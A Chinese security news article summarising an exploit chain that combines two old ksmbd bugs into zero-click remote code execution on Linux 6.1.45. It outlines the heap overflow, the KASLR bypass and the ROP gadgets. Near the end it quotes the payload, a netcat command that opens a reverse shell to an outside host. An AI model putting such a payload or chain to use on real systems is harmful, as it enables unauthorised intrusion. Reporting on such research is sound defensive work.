安全研究人员发现了一种基于历史漏洞的零点击Linux内核KSMBD远程代码执行攻击方式,能够在运行内核态SMB3守护进程ksmbd的Linux 6.1.45(已停止维护两年)系统上实现远程代码执行。
通过串联两个已认证的历史漏洞CVE-2023-52440和CVE-2023-4130,该攻击实现了无需认证的SLUB溢出和堆越界读取原语,最终触发用户模式助手调用并获得反向Shell,整个过程无需任何人工交互。
**核心要点**
1. 串联ksmbd的两个历史漏洞SLUB溢出和越界读取,实现零点击远程代码执行
2. 通过堆喷射和溢出kmalloc slab绕过KASLR并劫持伪造的虚函数表
3. 通过call_usermodehelper()执行ROP链获取反向Shell
攻击目标:内核态SMB3守护进程ksmbd
Eternal-Tux团队报告指出,ksmbd模块实现了内核态的SMB3服务器,用于将性能关键任务从用户态卸载。其挑战-响应NTLM认证和扩展属性处理机制在2023至2024年间引入了两个高危漏洞。
CVE-2023-52440存在于ksmbd_decode_ntlmssp_auth_blob()函数中,未经验证的sess_key_len导致在cifs_arc4_crypt()过程中发生可控的SLUB溢出。攻击者通过Impacket工具的ntlmChallengeResponse将会话密钥设置为攻击者提供的blob,从而获得可靠的堆溢出原语。
CVE-2023-4130则存在于smb2_set_ea()函数中,对smb2_ea_info条目长度的不当验证使得攻击者可以通过认证的扩展属性读取相邻堆块内容。
恶意smb2_ea_info对象
研究人员利用Impacket工具的setInfo()和queryInfo()函数构造恶意EA缓冲区并泄露内核堆内容,实现了KASLR绕过和精确的堆布局调整。
攻击链分析
在启用标准防护机制(SMEP、SMAP、KPTI、KASLR、强化SLUB)的单核测试环境中,攻击首先通过喷射多个TCP连接来分配ksmbd_conn(kmalloc-1k)和ksmbd_session(kmalloc-512)对象对。
"喷射-泄露-重试"循环确保有效的会话信息泄露,而"溢出-探测-重试"模式则隔离被溢出的连接。通过滥用SLUB溢出,攻击者破坏ksmbd_session中的Preauth_HashValue指针,将其转换为对kmalloc-1k的任意释放操作。
ksmbd_session对象的溢出与破坏
后续基于EA的泄露操作识别目标ksmbd_conn对象,揭示内核指针并计算KASLR基址。获得精确偏移后,第二次SLUB溢出触发对伪造虚函数表对象的任意释放和重新分配。ksmbd_conn中被破坏的local_nls指针被覆盖为指向包含ROP gadget的伪造虚函数表:pop rdi; ret、pop rsi; ret、pop rdx; ret、pop rcx; ret以及leave; ret栈转移指令。
最终载荷调用call_usermodehelper("/usr/bin/nc.traditional", "-e", "/bin/sh", "ctfi.ng", "16549")后执行msleep()冻结内核线程,在16549端口生成反向Shell。
尽管ksmbd在生产环境中的部署有限,但该攻击链凸显了随着用户态模块向内核态迁移,内核攻击面正在不断扩大。Eternal-Tux的研究展示了历史漏洞利用开发的日益成熟,以及严格的内核漏洞管理的迫切需求。
参考来源:
0-Click Linux Kernel KSMBD RCE Exploit From N-Day Vulnerabilities
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)